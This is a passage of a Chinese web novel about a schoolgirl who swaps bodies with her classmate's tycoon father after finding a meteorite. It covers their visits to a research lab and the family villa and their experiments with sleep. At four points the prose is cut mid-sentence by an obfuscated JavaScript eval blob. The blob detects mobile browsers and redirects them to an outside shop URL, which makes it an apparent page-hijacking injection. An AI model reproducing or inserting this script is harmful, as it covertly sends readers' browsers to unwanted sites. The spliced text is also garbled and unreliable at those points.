阮陨星点点头,总算同意,但随后又很警惕地问:“检查完了还是我的吧。” 她可不是傻子,如果真的是陨石导致的身体互换,那这块陨石的价值不言而喻。 裴粟与微微一笑,阮陨星觉得他笑得实在是有一种牢牢掌握局势的b王风味,以后换回来了自己一也要这么笑,那气势一下就起来了。 霸总吐出两个字:“当然。” 阮陨星安心许多,靠在座椅上,很放松地玩起手机来。 裴彰瞥一眼她翘起的二郎腿,嗤笑一声:“你倒是适应得快。” 阮陨星朝自己的身体扬起下巴:“反正不是我一个人。” 两人的家距离颇远,大概大半个小时的车程,阮陨星玩着玩着,不知道是豪车太平稳还是座位太舒服,困意上来,慢慢眯了眼睛。 她余光瞥到霸总也打了个哈欠,想着昨天自己也折腾不少,一般这个点都要睡个午觉来回复精神,看来身体的惯性是不会改变的。 先睡一会儿吧…… 大概是受到了互换的影响,这一觉并不安稳,眼前总是反复播放昨天陨石落下的场景,还有好些纷乱的场景拼凑在一起,一帧一帧地切换飞快。 阮陨星深吸一口气,像是从深湖游到了水面上,身体轻盈自在。 她睁开眼,车子还在行驶,便下意识问了一句:“这么久了还没到?” 话音落,她反应过来。 一伸手,纤细的手臂,指节上还有握笔形成的薄茧。 “换回来了!?”阮陨星惊喜地起身,却忘了自己坐在车上,头“咚”地一声撞上了车顶。 她捂着头,对面的裴粟与也正好睁开眼睛。 他低头看了一眼自己的衣服,从阮陨星身旁拿过自己的手机。 “我们换回来了!!”阮陨星惊喜地道。 真是失而复得才会珍惜,从来没觉得自己身体这么轻盈合适。 裴粟与舒了口气,猜测道:“睡一觉,就换过来?” 阮陨星想了想:“第一次也是因为睡觉就互换了。” “还、会不会再换?”比起原因,她更关心这个问题。 “……” 裴粟与沉默片刻,最后说道:“把你的陨石送过去研究所。” 接下来的路程阮陨星怕再互换了,一点瞌睡都不敢打,眼睛睁圆盯着窗外。 到了家门口的小区,门卫对陌生而高调的车辆有些许的怀疑,凑过来敲了敲车窗。 “干嘛的?” 阮陨星露出头:“叔,我同学送我回来的。” “噢,小星啊,今天一大早就见你出去了,去哪里玩了?”门卫很熟练地打着招呼,顺手按了门禁遥控器。 “出去随便转转,我外婆回来了吗?” “没呢,你还不知道她?”门卫打量了一下车子,迟疑地挥挥手:“去吧。” 阮陨星脆生生地应道:“哎!” 裴粟与淡淡道:“你们跟物业关系很和谐啊。” 阮陨星嘿嘿笑:“主要是这个叔叔跟我外婆是朋友,小时候我放学回来要是晚了,他都会跟我外婆通风报信的。” 霸总可有可无地点点头,随后脸色一变。 “就前面那个单元楼,嗯对,停这个拐角就行。”阮陨星打开车门下了车,走了几步后疑惑地回头: “我自己上去拿就行,你们跟着干嘛?” 霸总低头看了看,低声挤出一句:“你挺能忍。” 阮陨星反应过来他说的那件事,扯扯嘴角:“这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719797|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太好意思嘛。” “我去你家。” 说完不容置疑地跟在了后面。 阮陨星对此没意见,但是—— “裴彰,你也跟着干嘛?”阮陨星怒视后面的少年。 裴彰单手插兜,淡淡道:“我也要上厕所。” “回身直走到头右转,门卫室旁边有一个。”阮陨星不客气地道。 裴彰的脸色顿时很精彩。 领着两人进单元门,然后上楼,爬到三楼,阮陨星掏出钥匙开门。 进了房间后她弯腰拿出两双拖鞋:“厕所在那边。” 然后她进房间去,把昨天藏好的陨石拿出来。 又顺手拿了几样物品。 出来后看见裴彰的霸总爹坐在沙发上,优雅而不失速度地擦着手。 他视线落到茶几上阮陨星和外婆的合影,顿了一顿:“这是……你外婆?” “嗯。”阮陨星点点头,走过去摊开手,一块陨石躺在手心。 巴掌大小,一指厚,奇异花纹颇有美感。 “就捡到这个。”她努努嘴。 裴粟与示意裴彰接过去,阮陨星收回手,试探着问:“那……我就自由活动了?” 裴粟与摇头。 “现在还不能确定互换会不会再发生,你得跟着我。” 霸总操作了几下,阮陨星的手机振动。 她点开一看:【裴彰他爸】向您转账10000元。 阮陨星:!!!! 她震撼地抬头。 霸总轻描淡写:“这算你的兼职工资。” 阮陨星一步跨到他旁边:“裴总你今天就跟着你哪里也不去。” 裴彰嘴角撇了一下,对阮陨星这种为五斗米折腰的行为很不屑。 阮陨星才懒得理他,大少爷怎么会知道人间疾苦,这笔钱足够她添置一个好镜头了好吧,虽然阮春玲女士从不在生活费上亏待自己,但是这么大一笔钱她只有春节的红包可媲美,要是自己攒必定要攒个大半年的。 现在只要呆在霸总旁边一天就有这个收入,还是预付,简直不要太划算。 何况她自己也不是没这个担心,现在好了,两全其美。 于是接下来几人把陨石送到研究所后,又驱车前往裴氏集团总部。 集团总部位于全市CBD中心,总部大楼连带周围的好几块区域,都是裴氏集团的资产。 豪车畅通无阻地驶到总部门前,有人上前打开车门。 “裴总,会议已经准备好。”西装革履的中年男人很是干练,迎接裴粟与后,对着后面的裴彰也很客气地问候:“小裴总。” 两人下车后,阮陨星最后一个钻出来,站在裴粟与右侧。 中年男人迷茫了一下,眼神在阮陨星身上停了一下就很快移开,看霸总哦没有介绍的意思,引着三人往里走。 阮陨星过往也有经过裴氏大楼,但还从来没有这么近距离观察过,这一看大楼整体气势恢弘,内部装潢简约精致,大楼里的人们快步来往,还隐隐飘出一股香气。 随着三人进楼,走动的人们停下脚步,谨慎地打着招呼。 “裴总好。” “小裴总好。” 这些集团员工的视线除了落在裴粟与和裴彰身上,更多地是落在自己身上。 7. 夜曲与道歉 大概是从来没见过霸总身边带着这么一个稚嫩的女孩,一看就是稚气未脱的高中生,所以打量她的视线格外地多,多到钝感如阮陨星都有所察觉。 她回看过去,结果对方反倒急匆匆地移开目光,有猝不及防地撞上视线的,谨慎一笑便匆匆离开。 沐浴在众人视线下跟裸奔没什么区别,阮陨星心理压力一下了起来,而霸总在这重重目光下淡然自若,令人不禁感叹真不愧是集团总裁。 中年男人应该是裴粟与的秘书,阮陨星记得他好像叫宋旗,正在裴粟与身边低声而快速地汇报一系列工作安排。 他伸手按下高层专属电梯,拦住电梯门,等三人进入后,方才刷卡按动楼层按钮。 阮陨星注意到按钮只有66层以上的选项,大概66层之上都是重要场所,只有高层有权限进入。 电梯间很安静,阮陨星偷偷看了下宋秘书,结果正好看见对方目光。 宋秘书尴尬地咳了一下,开口:“这位是……” “我是裴彰的同学叔叔。”阮陨星忙道。 宋秘书僵硬地点点头:“哦,是跟小裴总一起来的吧。” 阮陨星摇摇头,指了指裴粟与:“不是,我是他带的。” 宋秘书的脸色有那么几个瞬间变得很精彩,看看她的眉眼再看看自家总裁的五官,最后眼观鼻鼻观心翻起手机来。 电梯停在88层,打开,宋秘书在前引导:“裴总这边走。” 裴粟与指着走廊尽头的办公室道:“你们去哪里休息。” 裴彰似乎是已经习惯,不等说完轻车熟路地走向对面,阮陨星打完招呼,紧跟其后。 窝进宽大柔软的沙发,阮陨星打了个哈欠,裴彰选了她旁边的硬质的皮沙发坐下,打开手机就是玩。 阮陨星也下意识划拉手机,但心里还被互换的事吊着,七上八下,玩手机也玩得不安心。 “唉——!”她把手机按在肚子上,烦躁地蹬了几下地面。 裴彰看她一眼,不动如山。 阮陨星翻了个身,面向裴彰懒洋洋地道:“裴彰,你说我跟你爸还会换吗?” 裴彰头也不抬:“不知道。” 阮陨星一看他就是在玩游戏,探头一看,这人玩的还是那种无聊的无脑三消游戏。 阮陨星百无聊赖:“要是又换过来,你不会觉得奇怪吗?” “该有的情绪我已经在今天消化完了。”裴彰的回答很裴彰。 “你还真是淡定,比我这个当事人都淡定,想想你管一个妙龄少女叫爹,真是说不好那件事更魔幻。”阮陨星叹了一口气,感慨。 裴彰扯了扯嘴角:“我是不会对着你这副身体叫爹的。” “那要是我换到你爸身上,外人面前必须得叫你叫不叫?” 问完,阮陨星看见裴彰脸色有瞬间的无语。 “行了不逗你了。”阮陨星翻开自己那天给李雀影拍的照片,一张张地修起来。 她更倾向于做好前期,后期不做过多处理,呈现一种更自然的状态。 修完一组,她发给李雀影:“雀宝,看看图【贴贴】” “啊啊啊啊怎么拍得这么美,美鼠我了,我的同桌就是人像大师!!!!!!” 李雀影高强度冲浪,几乎是立刻就反馈了消息过来。 阮陨星嘿嘿一笑,又选了一组发过去:“这是比较复古的风格。” 李雀影瞬间一排表情包刷屏,夸夸跟不要钱一样喷涌而出,甚至打算下次换个景试试其他风格。 阮陨星满足了。 没错,就是这么容易满足,只需要模特的夸夸,就很开心。 跟李雀影有一搭没一搭地聊了一会儿之后,李雀影突然发过来一条消息。 “雀宝你忙完了没,我过去你家找你,好期待看到陨石啊!” 陨石! 阮陨星心头警铃大作。 陨石现在根本不在她手上,而是在研究所。 “呃这个,还没完呢,明天吧,你作业那么快就写完了吗?”阮陨星婉拒,她估摸着以李雀影的速度,一天内是写不完作业的。 “呃还没,那明天,明天我去找你。”李雀影果然心虚。 阮陨星不知道明天自己跟霸总还会不会互换,到时就见招拆招吧。 两人一直在会议室里呆了一下午,期间阮陨星在会议室里炫了两杯果汁一杯咖啡一盒果盘,最后一块哈密瓜刚丢进嘴里,裴彰他爸便踏着沉稳的步伐走了进来。 “走了吗?”阮陨星满怀期待地问。 霸总点点头:“回家。” 阮陨星:“那我也可以回家了?” 裴粟与:“你来我家住。” 阮陨星:“???” “这不好吧???”阮陨星觉得怪怪的,她跟裴彰不算熟,跟霸总爹更是今天才认识,结果就要住进他们家? 怎么想怎么奇怪,阮陨星疯狂摇头。 裴粟与俯视她:“如果一觉起来我们再次互换,还是得一起行动,不如别分开。” 裴彰在一旁淡淡道:“你给她加钱就行。” 这不是钱不钱的事儿……阮陨星扶额。 此时她手机震了一下。 【裴彰他爸】给您转账10000元。 同时霸总道:“我也可以住你家。” “叔叔你真幽默……”阮陨星扶额。 她深吸一口气,丝滑地点了收款后,收起手机当先迈步:“走,回别墅。” 回到别墅,餐桌上摆好了热气腾腾的饭菜,三副碗筷摆好,阮陨星心下有些疑惑,坐下后有样学样吃起来。 饭桌很沉闷,这两父子跟进食机器一样什么话也说,闷头吃饭,区别是一个吃得很机械一个吃得很优雅。 晚饭后早上以霸总身体见过的管家走到她面前,很和蔼地道:“阮同学跟我来,我带你去你的房间。” 两人走到二楼,管家打开一间房间,装修一以贯之的精致,但冷冰冰,阮陨星对比起来还是更喜欢自己的小窝。 “洗漱用品和换洗衣服已经为您准备好,有什么需要随时呼叫我。”管家指着门边一个印有礼帽男人的按钮缓声道。 “好的,谢谢。”阮陨星和管家走到门口,隔壁门“咔嚓”关上。 看出阮陨星的疑惑,管家道:“隔壁是少爷的房间。” 嘿,这下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719798|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成邻居了。 阮陨星回到房间里把自己摔到床上,打开李雀影的聊天框:“雀宝,今晚我要去找夜景,得凌晨才回家,我干脆跟我外婆说去你家住,记得帮我打掩护。” “什么夜景?”李雀影兴致勃勃。 阳台门开着,风吹动纱帘,拂过阮陨星的脸,脸上微凉,有一股潮湿的绿意盘桓在房间里,凝聚不散。 阮陨星起身走到阳台,小阳台摆着咖啡桌,她拉开椅子坐下。 裴家别墅坐落在市区内地段极好的山上,半山腰一栋接着一栋,隐私性极好,从她这个窗台看下去,先是看到绵延冷清的山景,随后远处灯火万家闯进眼中。 阮陨星试图找出自己和外婆住的那个老小区,但很快就放弃,从这个角度看过去,一户户成家被禁锢在鸽子笼般的高楼里,继而渐次在墨蓝色天幕中排开,成为富人们眼中绚丽辉煌的城市景观。 她拍了一张发给李雀影:“类似这种的,城市风景。” “行,你注意安全啊,随时联系,早点回家别太晚。”以往阮陨星也干过这事,经常踩点到一两点,所以李雀影不稀奇。 阮陨星靠上靠背,轻吸一口气,下意识抚桌上的珐琅水壶,惊奇地发现里面有水,而且温热。 裴家的待客之礼的确是周到完美。 倒了一杯捧在手里慢慢喝,放松地欣赏眼前难得一见的美景。 几个钢琴音符零散响起,似乎是主人在调试。 紧接着,流畅的乐曲倾泻而出,舒缓平静。 是裴彰? 乐曲从隔壁传来,那就是裴彰在弹了。 阮陨星挺惊讶的,在校从来没听说裴彰会弹琴。 不过,这样的家庭,他会什么大概都不奇怪。 阮陨星等一曲终了,靠到栏杆上叫道:“裴彰!裴彰!” 深灰色的纱帘被风吹动,屋内没动静。 阮陨星再接再厉:“裴彰!裴彰!” “干什么?”裴彰终于应声,走到阳台上上,倚靠着栏杆中间,跟阮陨星隔着一段距离。 阮陨星笑嘻嘻地问:“刚才那首曲子叫什么,真好听。” 她自顾自地表达看法:“很温柔,让我想起妈妈。” 裴彰眨了眨眼睛,没说话,扭头看夜景。 大概是气氛很平和,阮陨星平日里躁动的心情平静不少。 她道:“之前的事情,对不起咯,这次是真心实意道歉的。” 裴彰扭头看她。 “哎呀,就是之前体育课分组定向越野,我不小心把你裤子扒了,还把你内裤给弄脏的事情。”阮陨星有些不好意思地低头:“我太急着找第四组卡了。” 裴彰是这学期转来的,当时自己跟他还不熟,体育课拓展活动上两人被分为一组,阮陨星还寻思套套近乎让他当自己模特,谁知道出了这么档子事,更尴尬的是当时她胜负欲上头,非要拉着裴彰不给他去换衣服。 虽然后面被裴彰一把甩开了。 想想挺不对,当时就盯着第一了,没注意裴彰同学即将面临被全班同学审判的困境。 裴彰歪头看她,看得阮陨星都有些心虚了:“我真心道歉。” 8. 互换的能量来源? 虽然裴彰一句话不说回了房间,但阮陨星自觉把歉道到位了。 心里包袱少了一个,便美滋滋地坐在阳台继续看风景,时不时拿起手机这里拍拍哪里拍拍,比划机位。 隔壁房间的灯没一会儿暗下去,阮陨星出去拿充电线的时候,路过书房看见裴彰正坐在书桌旁写,旁边是一个青年,拿着红笔在练习册上勾勾画画,大概是家教老师。 裴彰拿过被勾画的练习册,看得很认真,台灯打下,睫毛在下眼睑铺出一层影子,他盯着练习册,手边在家教的指点下不停在草稿纸上运算。除了眼睛和手外,其他地方一动不动。 原来学霸在私底下这么努力。 阮陨星毫不质疑裴彰的实力,转学来后第一次月考起,裴彰就一直牢牢把持着年纪第一的位置,几近满分的成绩不可撼动。 后来听说高二的时候他就已经获得过高中组国际竞赛的奖牌,完全有实力保送国内外的知名大学,奇怪的是,他转学来之后就只是按部就班地学习考试,打定主意了要走高考录取的路线,并没有像其他成绩优异的学生那样走另类途径,要知道阮陨星在的这个高中,提前录取,申报国外大学的操作屡见不鲜。 悠闲过了两小时后,阮陨星饿了。 本来么,青春期正是长身体的时候,这个点她都会给自己下碗面条的,如果阮春玲女士在家,还会给她鼓捣各种小甜点。 她打开门准备溜到客厅,拿茶几上的小饼干填填肚子。 下楼梯的时候看见管家,这个时候她已经知道管家也姓宋,迎面撞上后有一种被抓现行的偷感:“宋叔叔。” 宋管家慈祥地问:“阮同学,怎么了?” 阮陨星肚子发出的抗议声替她做了解释。 宋管家笑道:“厨房灶上备有夜宵,我给你拿。” “我自己拿就行。”阮陨星感觉让老人家给自己端东西实在罪过,跟着过去厨房。 过去一看,六个灶台都有东西放着保温,烤箱和冰箱里也各有甜点。 阮陨星饿得不行,闻着烤箱里热烘烘的香甜气息,馋得直流口水。 她选了一块巴斯克蛋糕和一碗甜点,坐在厨房小桌上呼呼往嘴里塞。 宋管家则端了一盅养生汤放在桌面晾。 “这是裴总吃的啊?”阮陨星随口问。 “不是,是少爷等会吃的。” “也是,学得辛苦,一晚上看见三个家教了都。”阮陨星嘟囔道。 宋管家摆好羹匙:“今天情况特殊,裴总把少爷带出去了,平常都是白天来多些,晚上一般一个科目。” 也就是说,一天至少三四个—— “那岂不是放假都没时间玩?”阮陨星惊叹。 “玩?少爷将来要协助裴总掌管集团公司,身上肩负着集团的未来,怎么能像普通学生一样玩?”宋管家给阮陨星数着裴彰的安排: “平常上课时就只在晚上安排一两个学习项目,遇到假期而裴总又不安排少爷跟随的时候,就把一整天的课程排满。”宋管家说着面露骄傲:“平常的高中课程少爷已经烂熟于心,考上国内顶尖学府不在话下,现在一周安排两次家教带着复习,其他时候我们少爷都在学习课堂外的知识,等一上大学,就要试着接管集团子公司。” 这安排……阮陨星不寒而栗,这样下来几乎没有玩的时间,难怪裴彰一有时间就玩游戏。 要挑起一个集团的未来,这个担子还真是重,难怪平常跟个闷葫芦一样,不是在座位上看书就是自己写写画画,都说他是高冷自傲,现在看来分明就是自闭嘛。 此刻阮陨星无比庆幸阮春玲女士没钱也没意志鸡娃,要是让自己这么学,真是比死还难受。 “少爷将来肩上担子重,学得越多越好,不能有一刻松懈。” 宋管家退后一步打量自己的摆盘,很满意。 “那为什么不送去国外,或者你们应该有别的方式更好地锻炼他吧?”阮陨星好奇,阮春玲女士看的那些电视剧里,这些豪门的骚操作可太多了,没读大学也照样管理公司,靠得就是商海浮沉的磨砺。 宋管家笑呵呵:“裴总自然有他的安排。” 阮陨星吃完,自觉把碗筷放进洗碗机里,上楼的时候,撞见裴彰送老师下楼。 “辛苦了。”阮陨星拍拍他的肩膀,沉痛道。 裴彰:“?” 阮陨星自顾自回到房间,夜宵下肚,血液涌进胃里,脑袋顿时昏沉了,困意很快袭来,阮陨星打了个哈欠,关灯陷入梦乡。 一夜好眠,醒来后发现自己的手变成一双男人的手时,阮陨星已经相当淡定了。 她穿着睡衣靠在二楼房间的门框上,“阮陨星”拿过手机,再次通知秘书今天会议取消。 “所以,我们睡觉就会互换对吧?”阮陨星欲哭无泪。 霸总爹很忧愁地叹了口气。 “去研究所。”他道。 今天裴彰依然被薅来当工具人,一早车子停到研究所门前,三人疾步走近稀稀拉拉人没来多少的办公楼,直奔所长办公室。 所长一脸憔悴,本就糟乱的头发愈加稀疏,看着就是个气质萎靡的小老头。 他领着众人来到实验室。 “昨晚检查后我算了一夜。”所长挠了挠自己的脑袋:“很诡异,非常诡异。” 他把保护罩遮挡打开,露出里面两块陨石碎片。 从外面上看,它们几乎是一模一样,材质、颜色、花纹…… 阮陨星根本分不出那块是自己的。 “经过检查,这两块碎片属于同一块陨石,不仅从外观上,从内部结构来说,它们也一模一样,甚至重量——”他拿起一纸报告展开在众人面前。 “精确到微克,分毫不差,连重量也一样。” “构成物质呢?”阮陨星问。 “目前看是铁、铅和某种未知元素的非金属化合物。”所长说完,补充道:“当然,没有放射性。” “未知元素?”裴彰若有所思。 所长肯定地点点头,兴奋之情溢于言表:“没错,如果能找到这种元素,检测出它的性质,绝对是一项重大的成果。” “这两块陨石碎片很奇妙、很奇妙。”所长说起来滔滔不绝:“两块连内部结构都一模一样的陨石碎片?闻所未闻,肯定有什么机制主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719799|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导了它们的变化,裴总,还有没有其他的碎片,拥有更多样本我们可以以更多手段去进行研究!” 阮陨星期盼地看着裴粟与。 但对方摇头:“没有。” “没有?”阮陨星难以置信:“不可能吧,落地地上只剩下两块碎片?其他的呢?” 所长觉得面前的“裴总”有些奇怪,盯住“他”就琢磨起来。 阮陨星被看得浑身不自在。 而真正的裴总则道:“昨天已经让他们使用仪器大规模排查景区后山,目前没有。” “你的呢?”霸总反问。 阮陨星:“我的也就一块。” 她试探地道:“会不会,原本就只有两块?” “裴总,你说的这个情况从概率上——”所长说着频频摇头:“比奇迹发生的概率还低。” 但阮陨星坚持:“考虑到我们目前的情况,也不是没有可能。” 她指的是身体互换,这件事的奇迹程度跟陨石碎片相比有过之而无不及。 自然,这个所长是不知道的。 “再重新做一次检测,不要损害到任何一块的实体。真正的裴总开口发话。 所长向阮陨星投来征求的意见:“裴总,这——” “嗯,就听他的,重新检测。”阮陨星当然附合。 所长叫来研究员打下手,阮陨星几人就在研究室旁边等。 十来分钟时间,所长推门而入,瞪大了眼睛把结果甩在众人面前。 “其他没变,但是重量!重量变了!” 两块碎片的重量同时减少了十七毫克,而重量依旧相同。 “太奇怪了,明明昨晚才称过,而且减少也是两块碎片同时减少,这两者一定存在我们没有探明的联系,或许跟物理世界底层规则有关!” 所长满脸通红,向阮陨星道:“裴总,请再给我多一些时间,我保证给你相当的结果!” 他说着已经是迫不及待地又去研究了。 安静的休息室内,阮陨星缓缓开口:“昨天晚上到今天,我们互换了一次,碎片少了十七毫克。” “如果我们互换是一种规律活动,那这个活动的能量来源会不会跟陨石有关系?” “你是说陨石的内含能量支撑了互换活动?”裴粟与托着下巴。 裴彰补充:“或者是互换活动影响碎片,目前只是猜想,要想确定。”他看看这个又看看哪个:“你们得睡一觉。” 阮陨星同意,当场就实验,她把休息室灯光关掉窗帘拉起,闭上眼睛酝酿睡意。 那边霸总爹手撑在沙发扶手上,撑住自己下颌,同样也闭上了眼睛。 阮陨星放缓呼吸,室内静得落针可闻,她听见自己绵长的呼吸和裴彰一前一后起伏呼应,规律得天然就有催眠效果。 呼——吸——呼——吸—— 她数到一千五百时,睁开眼睛:“我,我睡不着。” 裴粟与扶着额头,同样睡不着。 “昨晚刚睡,没有困意,精神得很。” 阮陨星摊手无奈。 “那就用点非常规手段。”霸总爹冷冷地道。 9. 无效睡眠 锐利冰冷的针尖在护士的挤压下吐出一小丁点晶莹的药液,寒光在冰冷炫白的灯光下散出一种不寒而栗的色彩。 阮陨星面皮隐隐抽了两下:“有必要吗?” “打。”少女眼眨也不眨。 两人躺在柔软而有支撑力的沙发上,阮陨星来不及感受私人订制的真皮豪华沙发究竟是个什么滋味,紧张地盯着针头,大气都不敢喘一下。 无他,实在是太害怕了,小时候没感觉,渐渐地越长大越怕。 阮春玲女士说她妈也怕极了针头,被那么小的针尖扎一下,都觉得被扎的地方火烧一样痛。 据说是小时候落下了阴影。 阮陨星其实觉得自己并没有继承这个害怕点,她痛觉强,但是痛是痛,她不怕。 但是那是自己妈妈的特点,或许是为了让自己离这个未曾谋面的生母近一点,也或许是让阮春玲女士能够多在自己身上看到一些女儿的影子,所以她慢慢也变得怕打针了。 护士很利落,下手极快,阮陨星没觉得有多少疼痛。 裴粟与却眉毛皱起,表情透露着一丝痛苦。 阮陨星心想自己这副身体细皮嫩肉,而且痛觉又不是一般的强,有他好受的。 没琢磨几下,困意就上来了。 她陷入沙发中,头发被包裹在柔软的头靠中,不多时沉沉睡去。 两人借助科技的手段,实现了同步的沉眠。 裴彰对护士道:“你先出去吧。” 房间里只剩下三个人,他坐在刚才护士坐着的凳子上,很仔细地看男人和少女。 他仿佛是从来没有看过男人的脸,沉沉的,凝重的打量。 不知道过了多久,阮陨星转醒。 柔软的沙发睡久了,腰有点疼,她撑着旁边的扶手起身,顿了顿。 叹了一口气。 开口:“没换回来。” 裴彰双手抱臂,歪着头看她。 阮陨星伸手:“看什么看,扶你老爹起来。” 裴彰看她那副样子,居然笑了一下。 一瞬间阮陨星惊呆了。 这家伙平时阴阴闷闷,笑起来居然是一种黑纱从明珠上滑落,然后明珠涌现出一种奇异光辉的感觉。 她回想了一下平日里,从转学来到现在也就一个月左右,裴彰同学很少笑,即便笑也是客气的、疏离的、塑料的。 所以从来在她脑海里留不下印象。 她能够体会到人真实的情感,并且也乐于用相机去捕捉,所以她留不下印象的,就一定不够鲜活和真实。 裴彰的笑只露了一瞬,看到旁边阮陨星的身体动了动,就立刻收了起来。 阮陨星手晃了晃示意他扶自己起来。 裴彰翻给他白眼:“当爹上瘾?” “当爹不上瘾,当你爹上瘾。”阮陨星觉得这人真是小气,弓身向前,故意抓住他胳膊死死用力,把他牢牢按在椅子上。 另一只手又落到他头上,把头发蹂躏个够。 裴彰因为姿势的问题没办法还手,只能忍到她卸力,用力一掀。 阮陨星向前小跳一下躲开,反身点了点他:“不孝子,你要谋害你爹啊。” 裴彰不置可否。 两人拉扯的时候,裴粟与慢条斯理地起身,喝水,整理好衣服。 最后开口问:“什么感觉?” 不用说一定问的是阮陨星。 她道:“没有感觉,就好像没睡这个觉一样。” “我也一样。”裴粟与沉声道:“完全没有得到休息。” “所以睡觉并不是互换的条件?” “还需要再试。”裴粟与当先迈步往外走。 阮陨星追在后面问:“给我陨石,雀宝今天要来我家看的。” 裴粟与一挑眉:“你确定,你不怕把你朋友也卷进来?” 阮陨星卡了一下,随即不怕道:“怕什么,又不一定。” “是啊,也许还会发生其他更棘手的情况,到时候你们两人就不用上学了,是吧?”裴粟与轻松道。 阮陨星迟疑了,她真不是怕裴粟与的威胁,绝对不是——只是目前情况没有弄清楚,她要留下来找到控制换身的办法,好让自己回归正常生活中,而且绝对不能让雀宝有风险。 于是只好让裴粟与帮忙又找借口对付雀宝,霸总直接就说自己晋级摄影比赛,需要延后几天,奖金丰厚到时候一定分她。 “晋级?”阮陨星问? 裴粟与点她:“你就是第一。” 黑幕,赤裸裸的黑幕。 说着阮陨星又发了几张自己拍的照片过去。 车辆载着三人停在裴氏集团总部面前,这个叫做裴影集团的公司,像一只蜘蛛,坐在网中观望四面八方,等待猎物落入陷阱,有时候也主动出击,用自己金钱与权力组成的庞大势力,大口大口吞噬利益。 阮陨星第二次来到大门口,仍然会被这里震撼,随即想到她此刻是裴粟与,相比上次要经受更多的审视和观察。 但令她奇怪的是,目光并没有在她身上过多停留,人们匆匆一撇便恭敬地低下头吗,低声问好。 “裴总好。” “裴总下午好。” 阮陨星心头有一种奇怪的感觉,自己体会着这千万之一才能体会到的人生,但此刻从心底却是抽离的,似乎只是寄居在一个躯壳中,潜意识操纵自己完成一切的交流。 频频点头示意直到进入电梯,正好撞上来得晚的宋秘书。 宋秘书立刻反身回去挡住电梯门,等人都进去后按下裴粟与的办公室楼层。 “裴总,市场部的经理都在,材料也准备好,随时可以召开会议。”宋秘书恭敬地道。 他发现老板没动静,疑惑地侧头看。 阮陨星咳了两声:“先……不开了。” 宋秘书眉毛微微皱了一下,劝到:“但是下周各个分区经理要回到各大区域进行下个季度的准备,而您下个季度的市场策略还没有定下来,恐怕经理们不知道怎么做才好。” “呃——”阮陨星心想你问我我也不知道,说不定你比我还懂,她情急下随口说了一句:“你觉得呢?” “我?”宋秘书一愣,小心翼翼地观察阮陨星的神色。 “我对各区域市场未来的走向无法判定,无法给出判断。”宋秘书说完,冒了一头的冷汗,姿态更加恭敬了。 阮陨星拍拍他的肩膀:“你怎么了,是不是不太舒服,休息一下?” 她就这么一句,宋秘书就急忙抬起头来:“裴总,我不累,就是确实没办法给出自己的看法,我平常只呆在总部为您办事,下面的事情实在是不了解。” 接着就是一番表忠心的举动。 阮陨星感觉他好像误会了什么。 这时候双手抱臂,站得底气十足的“阮陨星”发声: “下午的会议照常开,每个人轮流发言,过后会把区域经理一个个叫进去谈话。” 宋秘书疑惑地看着这个高中生。 说实话如果不是老板在旁边,他都要笑出来了。 你以为你是谁,敢帮裴总安排?就算你跟在裴总身边或许有些背景,但是无论如何也不配指点他做事。 “嗯。” 宋秘书诧异地转过头去,其实应答的是谁他分明听得清楚,他只是没反应过来。 或者是不愿意相信。 裴粟与,集团的掌权者,对着那个女高中生轻轻点了下头。 “就这样。”他一锤定音。 “……” 宋秘书已经开始把女孩的身份往更高一层去猜了。 这种胡思乱想一直持续到他把老板送进办公室里。 阮陨星对那个柔软的大沙发情有独钟,窝进去,主动问:“怎么办?” 裴粟与淡淡道:“从现在起,你是之前暗中培养的继承人,在我不在的时候,代替我处理一部分工作。我这段时间身体不好,隔一天休息一次,不在的时候你来。” “这段时间你不用上学,跟在我身边学习处理事情。” 阮陨星知道这指的是两人互换身体的时候,这样无论霸总是在自己的身体还是她的身体里,工作都不会受到影响。 但是她就惨了,学不能正常上,当这个什么莫名其妙出现的继承人麻烦也一定很多,别以为她不知道这种大公司中间的弯弯道道可多了,她一个没什么经验的高中生那儿玩得过这些盐巴都不知道吃了几罐的老油条。 “什么鬼继承人——不行我才不当,我外婆知道了得担心我,你把你的事情集中到正常的时候处理,最好尽快研究出互换的办法。”阮陨星一口拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 